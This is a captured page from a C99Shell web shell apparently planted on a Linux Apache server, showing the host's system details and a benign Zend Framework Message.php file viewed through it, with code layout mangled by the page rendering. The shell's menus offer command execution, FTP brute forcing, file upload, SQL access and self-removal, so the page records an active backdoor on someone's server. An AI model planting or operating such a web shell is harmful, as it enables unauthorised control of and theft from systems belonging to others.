!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/zendframework/zend-stdlib/src/   drwxrwxr-x
Free 15.53 GB of 61.93 GB (25.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Message.php (2.85 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Zend Framework (http://framework.zend.com/)
 *
 * @link      http://github.com/zendframework/zf2 for the canonical source repository
 * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com)
 * @license   http://framework.zend.com/license/new-bsd New BSD License
 */

namespace Zend\Stdlib;

use 
Traversable;

class 
Message implements MessageInterface
{
    
/**
     * @var array
     */
    
protected $metadata = array();

    
/**
     * @var string
     */
    
protected $content '';

    
/**
     * Set message metadata
     *
     * Non-destructive setting of message metadata; always adds to the metadata, never overwrites
     * the entire metadata container.
     *
     * @param  string|int|array|Traversable $spec
     * @param  mixed $value
     * @throws Exception\InvalidArgumentException
     * @return Message
     */
    
public function setMetadata($spec$value null)
    {
        if (
is_scalar($spec)) {
            
$this->metadata[$spec] = $value;
            return 
$this;
        }
        if (!
is_array($spec) && !$spec instanceof Traversable) {
            throw new 
Exception\InvalidArgumentException(sprintf(
                
'Expected a string, array, or Traversable argument in first position; received "%s"',
                (
is_object($spec) ? get_class($spec) : gettype($spec))
            ));
        }
        foreach (
$spec as $key => $value) {
            
$this->metadata[$key] = $value;
        }
        return 
$this;
    }

    
/**
     * Retrieve all metadata or a single metadatum as specified by key
     *
     * @param  null|string|int $key
     * @param  null|mixed $default
     * @throws Exception\InvalidArgumentException
     * @return mixed
     */
    
public function getMetadata($key null$default null)
    {
        if (
null === $key) {
            return 
$this->metadata;
        }

        if (!
is_scalar($key)) {
            throw new 
Exception\InvalidArgumentException('Non-scalar argument provided for key');
        }

        if (
array_key_exists($key$this->metadata)) {
            return 
$this->metadata[$key];
        }

        return 
$default;
    }

    
/**
     * Set message content
     *
     * @param  mixed $value
     * @return Message
     */
    
public function setContent($value)
    {
        
$this->content $value;
        return 
$this;
    }

    
/**
     * Get message content
     *
     * @return mixed
     */
    
public function getContent()
    {
        return 
$this->content;
    }

    
/**
     * @return string
     */
    
public function toString()
    {
        
$request '';
        foreach (
$this->getMetadata() as $key => $value) {
            
$request .= sprintf(
                
"%s: %s\r\n",
                (string) 
$key,
                (string) 
$value
            
);
        }
        
$request .= "\r\n" $this->getContent();
        return 
$request;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.6504 ]--